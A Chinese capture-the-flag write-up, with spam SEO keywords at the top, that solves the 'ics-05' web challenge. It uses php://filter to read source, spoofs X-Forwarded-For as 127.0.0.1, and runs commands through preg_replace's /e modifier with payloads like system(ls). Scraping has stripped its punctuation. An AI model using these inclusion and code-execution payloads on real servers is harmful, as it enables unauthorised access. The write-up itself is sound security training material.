网站建设报告书范文,用什么做网站更快捷方便,网页在线生成app,佛山建设网站题目 打开页面显示如下 只有这个页面能打开 显示如下 用dirsearch扫一下 查看了一下#xff0c;发现没什么用 查看页面源代码 返回了#xff0c;写入的参数#xff0c;猜测可能有文件包含漏洞
用php伪协议读取文件
构造payload
?pagephp://filter/readconvert.base64-en…题目 打开页面显示如下 只有这个页面能打开 显示如下 用dirsearch扫一下 查看了一下发现没什么用 查看页面源代码 返回了写入的参数猜测可能有文件包含漏洞
用php伪协议读取文件
构造payload
?pagephp://filter/readconvert.base64-encode/resourceindex.php
显示如下 base64解码可得
?php
error_reporting(0);session_start();
posix_setuid(1000);?
!DOCTYPE HTML
htmlheadmeta charsetutf-8meta namerenderer contentwebkitmeta http-equivX-UA-Compatible contentIEedge,chrome1meta nameviewport contentwidthdevice-width, initial-scale1, maximum-scale1link relstylesheet hreflayui/css/layui.css mediaalltitle设å¤ç»´æ¤ä¸å¿/titlemeta charsetutf-8
/headbodyul classlayui-navli classlayui-nav-item layui-thisa href?pageindexäºå¹³å°è®¾å¤ç»´æ¤ä¸å¿/a/li/ulfieldset classlayui-elem-field layui-field-title stylemargin-top: 30px;legend设å¤å表/legend/fieldsettable classlayui-hide idtest/tablescript typetext/html idswitchTpl!-- è¿éç checked çç¶æåªæ¯æ¼ç¤º --input typecheckbox namesex value{{d.id}} lay-skinswitch lay-textå¼|å³ lay-filtercheckDemo {{ d.id1 0003 ? checked : }}/scriptscript srclayui/layui.js charsetutf-8/scriptscriptlayui.use(table, function() {var table layui.table,form layui.form;table.render({elem: #test,url: /somrthing.json,cellMinWidth: 80,cols: [[{ type: numbers },{ type: checkbox },{ field: id, title: ID, width: 100, unresize: true, sort: true },{ field: name, title: 设å¤å, templet: #nameTpl },{ field: area, title: åºå },{ field: status, title: ç»´æ¤ç¶æ, minWidth: 120, sort: true },{ field: check, title: 设å¤å¼å³, width: 85, templet: #switchTpl, unresize: true }]],page: true});});/scriptscriptlayui.use(element, function() {var element layui.element; //导èªçhoverææãäºçº§èåçåè½ï¼éè¦ä¾èµelement模å//çå¬å¯¼èªç¹å»element.on(nav(demo), function(elem) {//console.log(elem)layer.msg(elem.text());});});/script?php$page $_GET[page];if (isset($page)) {if (ctype_alnum($page)) {
?br /br /br /br /div styletext-align:centerp classlead?php echo $page; die();?/pbr /br /br /br /?php}else{?br /br /br /br /div styletext-align:centerp classlead?phpif (strpos($page, input) 0) { //禁用了inputdie();}if (strpos($page, ta:text) 0) {die();}if (strpos($page, text) 0) {die();}if ($page index.php) {die(Ok);}include($page);die();?/pbr /br /br /br /?php
}}//æ¹ä¾¿çå®ç°è¾å¥è¾åºçåè½,æ£å¨å¼åä¸çåè½ï¼åªè½åé¨äººåæµè¯if ($_SERVER[HTTP_X_FORWARDED_FOR] 127.0.0.1) { //请求ip地址为127.0.0.1会返回welcome my adminecho br Welcome My Admin ! br ;$pattern $_GET[pat];$replacement $_GET[rep];$subject $_GET[sub];if (isset($pattern) isset($replacement) isset($subject)) {preg_replace($pattern, $replacement, $subject);}else{die();}}?/body/htmlctype_alnum($text)函数会匹配传入参数中是否全为数字或者字母如果是返回true否则返回false。
strpos(string,find,start) 函数查找find在另一字符串string中第一次出现的位置大小写敏感。
preg_replace($pattern, $replacement, $subject)函数会将subject中匹配pattern的部分用replacement替换如果启用/e参数的话就会将replacement当做php代码执行。
用bp伪造xff执行 利用preg_replace函数/e漏洞 preg_replace()函数的/e漏洞 正确的php system()函数的书写 preg_replace($pattern, $replacement, $subject) 作用搜索subject中匹配pattern的部分 以replacement的内容进行替换。 $pattern: 要搜索的模式可以是字符串或一个字符串数组。 $replacement: 用于替换的字符串或字符串数组。 $subject: 要搜索替换的目标字符串或字符串数组。 就是替换字符串要使 replacement 参数是我们想要的php代码即可
代码分析
123 if ($_SERVER[HTTP_X_FORWARDED_FOR] 127.0.0.1) //使用插件X-Forwarded-For Header改地址{
124
125 echo br Welcome My Admin ! br ;
126
127 $pattern $_GET[pat];
128 $replacement $_GET[rep]; //判断三个变量存不存在在进行perg_replace函数
129 $subject $_GET[sub];
130 //这里的三个变量都是由我们输入就方便多了
131 if (isset($pattern) isset($replacement) isset($subject)) {
132 preg_replace($pattern, $replacement, $subject);
133 }else{
134 die();
135 }先测试一下
payload如下
?pat/test/erepphpinfo()subtest
测试成功成功返回执行phpinfo() 构造payload
?pat/test/erepvar_dump(dir)subtest
or
pat/php/erepsystem(ls)subtest显示如下 得到目录s3chahahaDir
访问后显示如下 进入flag/发现flag.php 直接点进去是空白的 通过伪协议读取flag.php
payload
?pagephp://filter/readconvert.base64-encode/resources3chahahaDir/flag/flag.php
得到 base64解码得到flag 参考文章内容
ics-05命令执行漏洞及伪协议读取